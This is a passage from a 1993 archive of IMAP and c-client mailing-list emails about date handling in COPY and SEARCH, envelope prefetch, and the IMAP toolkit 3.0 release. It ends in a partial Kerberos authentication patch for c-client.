Receipt Notification Requested) (IPM Return Requested) Cc: Mark Crispin (Non Receipt Notification Requested) (IPM Return Requested), IMAP Interest List (Non Receipt Notification Requested) (IPM Return Requested), c-client Interest List (Non Receipt Notification Requested) (IPM Return Requested), ojarnef@admin.kth.se (Non Receipt Notification Requested) (IPM Return Requested) Date: Wed, 25 Aug 93 9:59:34 PDT In-Reply-To: Your message of Wed, 25 Aug 1993 04:34:59 +0200.<9308250235.AA07809@nada.kth.se> Sensitivity: Personal Conversion: Prohibited Conversion-With-Loss: Prohibited Encoding: 22 TEXT , 4 TEXT Peter Svanberg writes: >Quoting: Mark Crispin > >> Dates are not preserved in COPY. What makes you think they would be? > >In my scenario, the "copy" of the message is in fact _the_ >message, moved from INBOX for storage. If then the internal >date is not preserved, it becomes what I called a "storage >date", which I still can't see any use of. Furthermore, as this >is the date used in SEARCH, the search by date functionality >becomes almost useless. Peter's scenario matches with mine. (Given accuracy and synchronization of time stamps...) Copying messages around should preserve the contents of the message. It should be a *copy* of the message, not a new instance. (I hadn't ever seen this detail in previous readings of IMAP... I saw `copy' and thought it would only copy, not munge while copying). I fail to see any logic in a munging copy. Care to elaborate? <- David Herron (work) (home) <- <- All hard work brings a profit, but mere talk leads only to poverty. <- Proverbs 14:23 From pinedev@shivax2.cac.washington.edu Wed Aug 25 11:34:40 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22372; Wed, 25 Aug 93 11:34:40 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14940; Wed, 25 Aug 93 11:34:31 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14920; Wed, 25 Aug 93 11:33:58 -0700 Received: from jouez.stanford.EDU (ssrg-ds5000-1.Stanford.EDU) by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA26428; Wed, 25 Aug 93 11:33:54 PDT Received: by jouez.stanford.EDU (5.57/Ultrix4.0-(Rev. 174)) id AA04069; Wed, 25 Aug 93 11:30:05 -0700 Date: Wed, 25 Aug 1993 11:14:31 -0700 (PDT) From: William Yeager Reply-To: Bill_Yeager@camis.stanford.edu Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) To: David Herron Cc: Peter Svanberg , Mark Crispin , IMAP Interest List , c-client Interest List , Non Receipt Notification Requested In-Reply-To: David Herron's message of Wed, 25 Aug 93 9:59:34 PDT: <9308251658.AA29423@eco.twg.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I think the idea behind recreating for bsd style mail boxes the "From .." line during a COPY, from which the "storage" or internal date is determined is that a SEARCH ON/SINCE/BEFORE date means since, before or after the message *arrived in the selected mailbox.* Thus, the "From .." lines are always in chronological order. If one preserved this line from the original INBOX, then this order is essentially random. As Mark mentioned, mh like folders avoid this difficulty by using the write date of the folder. The current approach for bsd and tenex style internal dates has historical precedence going back about a couple of decades, and certainly, one can argue that the current implementation gives a consistency across all mailboxes. I personally prefer this approach. And agree with Mark that one should consider new date searches in the new extended search command. Bill From pinedev@shivax2.cac.washington.edu Wed Aug 25 12:08:33 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23639; Wed, 25 Aug 93 12:08:33 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15513; Wed, 25 Aug 93 12:08:24 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15494; Wed, 25 Aug 93 12:07:59 -0700 Received: from jouez.stanford.EDU (ssrg-ds5000-1.Stanford.EDU) by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA27067; Wed, 25 Aug 93 12:07:56 PDT Received: by jouez.stanford.EDU (5.57/Ultrix4.0-(Rev. 174)) id AA04083; Wed, 25 Aug 93 12:04:08 -0700 Date: Wed, 25 Aug 1993 12:01:41 -0700 (PDT) From: William Yeager Reply-To: Bill_Yeager@camis.stanford.edu Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) To: Bill_Yeager@camis.stanford.edu Cc: David Herron , Peter Svanberg , Mark Crispin , IMAP Interest List , c-client Interest List , Non Receipt Notification Requested In-Reply-To: William Yeager's message of Wed, 25 Aug 1993 11:14:31 -0700 (PDT): Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > SEARCH ON/SINCE/BEFORE date > > means since, before or after Yes, yes, I meant "means on, since or before" here. Sorry :-). I just got back from an hour+ of tennis, it was 80F, and my brain is in a slightly marginal state. Bill From pinedev@shivax2.cac.washington.edu Wed Aug 25 13:51:25 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26955; Wed, 25 Aug 93 13:51:25 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17104; Wed, 25 Aug 93 13:51:15 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from eco.twg.com by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17096; Wed, 25 Aug 93 13:51:11 -0700 Received: from LOCAL.eco.twg.com by eco.twg.com (5.67/ECO.m-$Revision: 2.16 $) id AA04469; Wed, 25 Aug 93 16:50:39 -0400 Message-Id: <9308252050.AA04469@eco.twg.com> Received: from apache.twg.com by apache.twg.com id <15124-0@apache.twg.com>; Wed, 25 Aug 1993 13:50:50 -0700 From: "David Herron" Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) To: IMAP Interest List (Non Receipt Notification Requested) (IPM Return Requested), c-client Interest List (Non Receipt Notification Requested) (IPM Return Requested) Date: Wed, 25 Aug 93 13:50:48 PDT In-Reply-To: Your message of Wed, 25 Aug 1993 11:14:31 -0700 (PDT). Sensitivity: Personal Conversion: Prohibited Conversion-With-Loss: Prohibited Encoding: 19 TEXT To clarify .. I may have been mistaken about what I was replying to. (I no longer have the message handy to check) I took the quote from Mark as saying that COPY creates a new instance and modifies the date in Date: not the one in From. Since the From line is ridiculous (messages should be stored in a directory with one message per file) and in any case is not *part* of the message so I don't care much about what is done with it. If it is where you wish to store a time stamp for when it was appended to the folder, be my guest. Does it also change the return address that's stored on the From line? (Doesn't have to but it might be interesting to record the old folder name..) Does it preserve old From lines? (Doesn't have to) Having the Date: field independantly searchable from the storage date is what should be done. David From pinedev@shivax2.cac.washington.edu Wed Aug 25 14:12:34 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27889; Wed, 25 Aug 93 14:12:34 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17431; Wed, 25 Aug 93 14:12:23 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17419; Wed, 25 Aug 93 14:12:00 -0700 Received: from jouez.stanford.EDU (ssrg-ds5000-1.Stanford.EDU) by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA29830; Wed, 25 Aug 93 14:11:59 PDT Received: by jouez.stanford.EDU (5.57/Ultrix4.0-(Rev. 174)) id AA04160; Wed, 25 Aug 93 14:08:10 -0700 Date: Wed, 25 Aug 1993 14:07:22 -0700 (PDT) From: William Yeager Reply-To: Bill_Yeager@camis.stanford.edu Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) To: David Herron Cc: IMAP Interest List , c-client Interest List In-Reply-To: David Herron's message of Wed, 25 Aug 93 13:50:48 PDT: <9308252050.AA04469@eco.twg.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > Having the Date: field independantly searchable from the storage > date is > what should be done. I think there will be a consensus on this one. Bill From pinedev@shivax2.cac.washington.edu Wed Aug 25 14:20:11 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28256; Wed, 25 Aug 93 14:20:11 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00941; Wed, 25 Aug 93 14:20:02 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00925; Wed, 25 Aug 93 14:19:39 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA22422; Wed, 25 Aug 93 14:19:29 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA08330; Wed, 25 Aug 93 14:19:20 -0700 Date: Wed, 25 Aug 1993 14:17:37 -0700 (PDT) From: Mark Crispin Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) To: Bill_Yeager@camis.stanford.edu Cc: David Herron , IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 25 Aug 1993 14:07:22 -0700 (PDT), William Yeager wrote: > > Having the Date: field independantly searchable from the storage > > date is > > what should be done. > > I think there will be a consensus on this one. I agree. The delay is not on whether or not this is a good idea, but in getting together a full list of searching extensions. There is enough problem with multiple levels of support in IMAP software as it is without adding more complex levels. From pinedev@shivax2.cac.washington.edu Wed Aug 25 16:43:49 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA04365; Wed, 25 Aug 93 16:43:49 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01753; Wed, 25 Aug 93 16:43:40 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.nada.kth.se by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01747; Wed, 25 Aug 93 16:43:36 -0700 Received: from cyklop.nada.kth.se by mail.nada.kth.se (5.61-bind 1.4+ida/nada-mx-1.0) id AA19216; Thu, 26 Aug 93 01:43:34 +0200 Message-Id: <9308252343.AA19216@nada.kth.se> To: IMAP Interest List , c-client Interest List Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) In-Reply-To: Your message of "Wed, 25 Aug 1993 13:50:48 PDT." <9308252050.AA04469@eco.twg.com> Date: Thu, 26 Aug 1993 01:43:33 +0200 From: Peter Svanberg William Yeager wrote: > I think the idea behind recreating for bsd style mail boxes the > "From .." line during a COPY, from which the "storage" or > internal date is determined is that a > > SEARCH ON/SINCE/BEFORE date > > means since, before or after the message *arrived in the > selected mailbox.* Thus, the "From .." lines are always in > chronological order. If one preserved this line from the > original INBOX, then this order is essentially random. But isn't the message number enough for the chronology? One more time (I _want_ to know how you are thinking): What you are saying is that you consider it more interesting to search on (an hence more likely that you know) when a certain message was _stored_ in the mailbox, than when it _arrived_ to you? In my mail usage I often store messages in a very un-chronological mode - suddenly I can find some old messages in my "unsorted" folder which I move to another folder, putting them after more recent messages. Is that so unusual? If I later search in that folder, with your approach I will have to remember when those old messages were stored. > As Mark > mentioned, mh like folders avoid this difficulty by using the > write date of the folder. (I suppose you meant "of the file".) This is unimportant in MH, as it uses the Date:-field for sorting and searching. Quoting: "David Herron" > > Since the From line is ridiculous (messages > should be stored in a directory with one message per file) and in any case > is not *part* of the message so I don't care much about what is done with it. > If it is where you wish to store a time stamp for when it was appended > to the folder, be my guest. So you don't care about searching? (This i the date used for that.) --- Peter Svanberg, Nada, KTH From pinedev@shivax2.cac.washington.edu Wed Sep 8 17:36:51 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27686; Wed, 8 Sep 93 17:36:51 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21922; Wed, 8 Sep 93 17:36:16 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21916; Wed, 8 Sep 93 17:36:07 -0700 Received: from mac-treister.stanford.edu by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA14213; Wed, 8 Sep 93 17:34:50 PDT Date: Wed, 8 Sep 93 17:34:35 -0800 From: Adam Treister To: mrc@cac.washington.edu Subject: My C-client Search Fetches Extra Envs Cc: c-client@cac.washington.edu Message-Id: Content-Type: TEXT/plain; charset=US-ASCII Mark, (or anyone with a good answer): I'm having a pb: Mailstrom goes off to fetch all envelopes at places where it shouldn't, eg: close mailbox or iconify window. Whats happening is that the client is doing a search (on close, it searches for deleted messages to decide if it should ask if the user wants to expunge) and the search is requiring a run thru the cache to check the searched flag. Is there another way to know if there were hits, without fetching extra envelopes, while still not mucking into c-client's layer? (Granted, much of the delay is that I'm dumping the envelopes in my debug window and this slows things down alot, but in the case of big mailboxes, its important to only fetch the minimum amount.) Adam ------------------- Here are Mailstrom's Search and GetElement routines: short Mailbox :: Search(char *criteria) { short i, numFound; if (!stream) return(0); mail_search (stream, criteria); numFound = 0; for (i = 1; i <= NMSGS(stream); i ++) { MESSAGECACHE *element = GetElement(i); if (element->searched) numFound ++; } return(numFound); } /********************************************************/ MESSAGECACHE* Mailbox :: GetElement(long msgNo) { BODY *body; ENVELOPE *env; MESSAGECACHE *element; ASSERT(msgNo != 0); if (msgNo AND stream) { env = mail_fetchstructure (stream,msgNo,&body); element = mail_elt(stream,msgNo); return(element); } else return NULL; } From pinedev@shivax2.cac.washington.edu Wed Sep 8 21:16:30 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00806; Wed, 8 Sep 93 21:16:30 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23568; Wed, 8 Sep 93 21:16:21 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23562; Wed, 8 Sep 93 21:16:20 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA15444; Wed, 8 Sep 93 21:16:15 -0700 Date: Wed, 8 Sep 1993 21:07:06 -0700 (PDT) From: Mark Crispin Subject: re: My C-client Search Fetches Extra Envs To: Adam Treister Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Adam - The newest version of the IMAP toolkit, just installed on the CAC ftp archive, offers a c-client has the ability to turn off prefetch of envelopes when doing an IMAP search when caching is enabled. To use this facility, make sure you #include imap2.h as well as mail.h, and do something like mail_parameters (mail_open (NIL,"{x/imap2}",OP_PROTOTYPE),SET_PREFETCH,NIL); early in your program. The mail_open() call returns the prototype stream that you then feed to mail_parameters; you don't need to worry about calling mail_close() on it. Something like mail_parameters (mail_open (NIL,"{x/imap2}",OP_PROTOTYPE),SET_PREFETCH, (void *) T); will re-enable search prefetching of envelopes. -- Mark -- From pinedev@shivax2.cac.washington.edu Thu Sep 9 11:02:57 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17264; Thu, 9 Sep 93 11:02:57 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02170; Thu, 9 Sep 93 11:02:44 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02163; Thu, 9 Sep 93 11:02:41 -0700 Received: from mac-treister.stanford.edu by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA28496; Thu, 9 Sep 93 11:02:37 PDT Date: Thu, 9 Sep 93 11:02:15 -0800 From: Adam Treister To: c-client@cac.washington.edu Subject: TestInclusion funuction for c-client Message-Id: Content-Type: TEXT/plain; charset=US-ASCII Mark is so responsive is providing functionality, that I just have to keep asking.... Its pretty easy to have the client support filtered views by doing a search right after mail_open and adding the hits to a local list. Now I'm wondering how arrival of new messages, and update of potentially several views onto the Inbox will work. (Can one assume that only the Inbox could receive unsolicited additional messages?) It would be useful to have a function to test if a particular message is a hit for a given search string. EG: Boolean TestInclusion(long msgNo,char *criteria); This would send a SEARCH criteria to the server, and watch if msgNo came back in the results, hopefully without affecting the element->searched fields. This can be as easily accomplished at the app level, but does seem a good candidate for migration to the c-client level. Adam From pinedev@shivax2.cac.washington.edu Thu Sep 9 19:42:11 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02303; Thu, 9 Sep 93 19:42:11 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA10206; Thu, 9 Sep 93 19:41:36 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO2.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA10200; Thu, 9 Sep 93 19:41:33 -0700 Received: from localhost (postman@localhost) by po2.andrew.cmu.edu (8.5/8.5) id WAA14903; Thu, 9 Sep 1993 22:41:30 -0400 Received: via switchmail; Thu, 9 Sep 1993 22:41:30 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Thu, 9 Sep 1993 22:40:15 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Thu, 9 Sep 1993 22:40:13 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Thu, 9 Sep 1993 22:40:11 -0400 (EDT) Message-Id: <0gXyY=600WBw4pEYUt@andrew.cmu.edu> Date: Thu, 9 Sep 1993 22:40:11 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: TestInclusion funuction for c-client In-Reply-To: References: Beak: is Not One can most definitely *not* assume that only INBOX can receive unsolicited additional messages. What you might want to do is for each view filter perform a SEARCH command restricted near the additional messages (using RECENT and/or SINCE) and add the new hits to your view. _.John From pinedev@shivax2.cac.washington.edu Thu Sep 9 19:45:04 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02327; Thu, 9 Sep 93 19:45:04 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03610; Thu, 9 Sep 93 19:44:47 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03604; Thu, 9 Sep 93 19:44:46 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA16837; Thu, 9 Sep 93 19:44:41 -0700 Date: Thu, 9 Sep 1993 19:44:04 -0700 (PDT) From: Mark Crispin Subject: Re: TestInclusion funuction for c-client To: John Gardiner Myers Cc: c-client Interest List In-Reply-To: <0gXyY=600WBw4pEYUt@andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 9 Sep 1993 22:40:11 -0400 (EDT), John Gardiner Myers wrote: > One can most definitely *not* assume that only INBOX can receive > unsolicited additional messages. > > What you might want to do is for each view filter perform a SEARCH > command restricted near the additional messages (using RECENT and/or > SINCE) and add the new hits to your view. John says almost exactly what I was going to say. From pinedev@shivax2.cac.washington.edu Thu Sep 23 19:10:46 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11950; Thu, 23 Sep 93 19:10:46 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA24165; Thu, 23 Sep 93 19:10:37 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA24153; Thu, 23 Sep 93 19:10:04 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA01335; Thu, 23 Sep 93 19:10:02 -0700 Date: Thu, 23 Sep 1993 19:00:47 -0700 (PDT) From: Mark Crispin Subject: IMAP toolkit 3.0 frozen and formally released To: c-client Interest List , IMAP Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII In conjunction with the 3.85 release of Pine: Version 3.0 of the IMAP toolkit is now frozen. The final version may be found on ftp.cac.washington.edu:mail/imap-3.0.tar.Z Work has now started on 3.1 of the IMAP toolkit. Some of the planned features for 3.1 in the next few months are: . support for the new IMAP2bis draft specification including disconnected use support . makefile control of mail_link() operations including control of driver precedence . outgoing mail queue for DOS (for disconnected use) . integration of tenex and DOS MTX formats & no more special meaning of *.txt file names . support for directory traversal Other features are planned; these are what are at the top of the list From pinedev@shivax2.cac.washington.edu Tue Sep 28 12:46:54 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29846; Tue, 28 Sep 93 12:46:54 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18666; Tue, 28 Sep 93 12:46:37 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18660; Tue, 28 Sep 93 12:46:33 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id PAA06561; Tue, 28 Sep 1993 15:46:24 -0400 Received: via switchmail; Tue, 28 Sep 1993 15:46:19 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 28 Sep 1993 15:45:39 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 28 Sep 1993 15:45:23 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Tue, 28 Sep 1993 15:45:06 -0400 (EDT) Message-Id: Date: Tue, 28 Sep 1993 15:45:07 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Kerberos diffs for 3.0 c-client Beak: Is Here are the Kerberos authentication diffs for the 3.0 c-client. Some assembley required, especially if you're not compiling on a sun with gcc. Compile with the KERBEROS macro defined. You probably *don't* want to compile with ANDREW defined. These diffs include an interface change to server_login() which Mark hasn't picked up yet. diff -cr ./makefile.sun /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/makefile.sun *** ./makefile.sun Wed Jan 8 02:18:11 1992 --- /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/makefile.sun Tue Sep 28 13:29:21 1993 *************** *** 35,44 **** all: rm -rf systype ANSI/c-client/Makefile non-ANSI/c-client/Makefile ! ln -s non-ANSI systype cd systype/c-client; ln -s makefile.sun Makefile ! cd ms;make ! cd ipopd;make cd imapd;make clean: --- 35,44 ---- all: rm -rf systype ANSI/c-client/Makefile non-ANSI/c-client/Makefile ! ln -s ANSI systype cd systype/c-client; ln -s makefile.sun Makefile ! # cd ms;make ! # cd ipopd;make cd imapd;make clean: diff -cr ./ANSI/c-client/imap2.c /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/imap2.c *** ./ANSI/c-client/imap2.c Wed Sep 8 23:31:22 1993 --- /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/imap2.c Tue Sep 28 14:31:51 1993 *************** *** 48,53 **** --- 48,60 ---- #include "osdep.h" #include "imap2.h" #include "misc.h" + #ifdef KERBEROS + #include "kerberos.h" + #endif /* KERBEROS */ + + #ifdef ANDREW + static char *defaulthost="hogtown.andrew.cmu.edu"; + #endif /* Driver dispatch used by MAIL */ *************** *** 103,109 **** --- 110,120 ---- DRIVER *map_valid (char *name) { + #ifdef ANDREW + return &imapdriver; + #else /* ANDREW */ return mail_valid_net (name,&imapdriver,NIL,NIL); + #endif /* ANDREW */ } *************** *** 376,388 **** --- 387,416 ---- MAILSTREAM *map_open (MAILSTREAM *stream) { long i,j; + #ifdef KERBEROS + char username[MAILTMPLEN],pwd[3*MAILTMPLEN],tmp[MAILTMPLEN]; + #else char username[MAILTMPLEN],pwd[MAILTMPLEN],tmp[MAILTMPLEN]; + #endif NETMBX mb; char *s; IMAPPARSEDREPLY *reply = NIL; /* return prototype for OP_PROTOTYPE call */ if (!stream) return &imapproto; + #ifdef ANDREW + if (!mail_valid_net_parse (stream->mailbox,&mb)) { + strcpy(mb.host, defaulthost); + if (*stream->mailbox == '*') { + mb.bbdflag = 1; + strcpy(mb.mailbox, stream->mailbox+1); + } + else { + strcpy(mb.mailbox, stream->mailbox); + } + } + #else ANDREW mail_valid_net_parse (stream->mailbox,&mb); + #endif /* default mailbox name */ if (!*mb.mailbox) strcpy (mb.mailbox,mb.bbdflag ? "general" : "INBOX"); if (LOCAL) { /* if stream opened earlier by us */ *************** *** 446,457 **** --- 474,505 ---- strcpy (username,"anonymous"); strcpy (pwd,*lhostn ? lhostn : "foo"); } + #ifdef KERBEROS + else if (i == 0) { + kerberos_login(mb.host, username, pwd, tmp); + } + #endif /* KERBEROS */ else mm_login (tcp_host (LOCAL->tcpstream),username,pwd,i); /* abort if he refuses to give a password */ if (*pwd == '\0') i = map_maxlogintrials; else { /* send "LOGIN username pwd" */ + #ifdef KERBEROS if (imap_OK (stream,reply = imap_send (stream,"LOGIN",username, + pwd))) { + if (i == 0) { + if (!tmp[0]) { + mm_log("Unable to check authentication of server", WARN); + } + else if (strncmp(reply->text, tmp, strlen(tmp))) { + mm_log("Server failed to authenticate itself", WARN); + } + } + break; + } + #else + if (imap_OK (stream,reply = imap_send (stream,"LOGIN",username, pwd))) break; + #endif /* output failure and try again */ mm_log (reply->text,WARN); /* give up now if connection died */ diff -cr ./ANSI/c-client/kerberos.c /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/kerberos.c *** ./ANSI/c-client/kerberos.c Tue Sep 28 15:31:13 1993 --- /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/kerberos.c Tue Sep 28 14:57:47 1993 *************** *** 0 **** --- 1,391 ---- + #ifdef KERBEROS + #include + #include + #include + #include + #include + #include "mail.h" + #include "osdep.h" + #include "imap2.h" + #include "kerberos.h" + + static des_cblock session; /* Our session key */ + static des_key_schedule schedule; /* Schedule for our session key */ + + /* Table for converting binary values to and from hexadecimal */ + static char hex[] = "0123456789abcdef"; + static char dec[256] = { + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 0 - 15 */ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 16 - 37 */ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* ' ' - '/' */ + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 0, 0, 0, 0, 0, /* '0' - '?' */ + 0,10,11,12,13,14,15, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* '@' - 'O' */ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 'P' - '_' */ + 0,10,11,12,13,14,15, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* '`' - 'o' */ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 'p' - DEL */ + }; + + /* + * Convert a KTEXT to an ascii string. + * Accepts: ktext + * Returnss: a pointer to the result, or null pointer on malloc failure + * The caller is responsible for freeing the returned value. + */ + static char *ktext_to_str(KTEXT ktext) + { + char *result, *p; + int i; + + p = result = malloc(ktext->length*2+1); + if (!result) return 0; + + for (i=0; ilength; i++) { + *p++ = hex[(ktext->dat[i]>>4)&0xf]; + *p++ = hex[(ktext->dat[i])&0xf]; + } + *p++ = '\0'; + return result; + } + + /* + * Convert string to a ktext. + * Accepts: string to convert + * ktext to put result in + * Returns: T on success, NIL on failure + */ + static int str_to_ktext(char *str,KTEXT ktext) + { + int i, len; + + len = strlen(str); + if (len&1) return NIL; + len /= 2; + if (len > MAX_KTXT_LEN) return NIL; + + ktext->length = len; + ktext->mbz = 0; + + for (i=0; *str; i++, str += 2) { + ktext->dat[i] = (dec[str[0]]<<4) + dec[str[1]]; + } + return T; + } + + /* + * Kerberos-authenticated server log in + * Accepts: user name string + * password string + * pointer to char pointer. The char pointer is set to the + * text we want returned in the reply message. + * Returns: T if login ok, NIL otherwise + */ + int kerberos_server_login(char *user,char *pass,char **reply) + { + static char lrealm[REALM_SZ] = ""; + 